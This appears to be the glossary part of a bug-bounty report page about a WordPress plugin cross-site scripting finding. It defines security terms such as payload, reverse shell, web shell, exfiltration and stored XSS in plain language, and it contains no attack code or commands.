  • Dynamic analysis: testing software by running it and observing its behaviour.
  • Escalation: using a small foothold to reach a bigger one, such as a low-privilege account reaching admin rights.
  • Exfiltrate: send data out to a place the attacker controls.
  • Header: extra information sent alongside a request, such as the Referer.
  • HTML injection: inserting page markup that the site later renders, without necessarily running script.
  • HTTPOnly: a cookie setting that stops JavaScript from reading the cookie.
  • Iframe: a frame inside a page that loads separate content.
  • jQuery: a widely used JavaScript library that provides ready-made helper functions.
  • Lab environment: a private copy of the software on your own machine where you can test safely.
  • Nuclei template: a small rule file describing what to send and what reply counts as a match.
  • Open redirect: a link that sends the visitor somewhere other than where they expected.
  • Output encoding: converting characters with special meaning in HTML into harmless equivalents before displaying them.
  • Parameter: a named value sent with a request, like a field on a paper form.
  • Parse: pick the useful parts out of raw text.
  • Payload: the piece of text or code sent in the hope that it gets stored and later runs.
  • PHP: a programming language commonly used on web servers.
  • Plugin: an add-on that adds a feature to a larger system such as WordPress.
  • POST request: the kind of request a browser sends when it submits data.
  • Pre-authenticated / unauthenticated: carried out without logging in; anyone can do it.
  • Probing: sending a simple request and reading the reply to learn what software answered.
  • Python: a general-purpose programming language often used for small automation tasks.
  • Reconnaissance: mapping out which sites exist and what they run before attacking.
  • Reverse shell: a connection the victim's server makes back to the attacker so they can control it.
  • Sanitisation: cleaning input so dangerous parts are removed.
  • Session: the period a logged-in user is recognised by the site, held together by a cookie.
  • Source code review: reading a program's text line by line looking for mistakes.
  • Stored XSS: cross-site scripting where the malicious text is saved on the server and runs later when a victim opens the page.
  • Subdomain: a prefix on a domain, such as shop.example.com.
  • SVG: a format for drawing vector graphics that browsers can render inline.
  • Validation: checking input against rules.
  • VPS: a rented computer in a data centre that you control over the internet.
  • Web shell: a small program planted on a server to run commands on it later.
  • WordPress: a system for building websites, extended through plugins and themes.

More from Wordfence

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.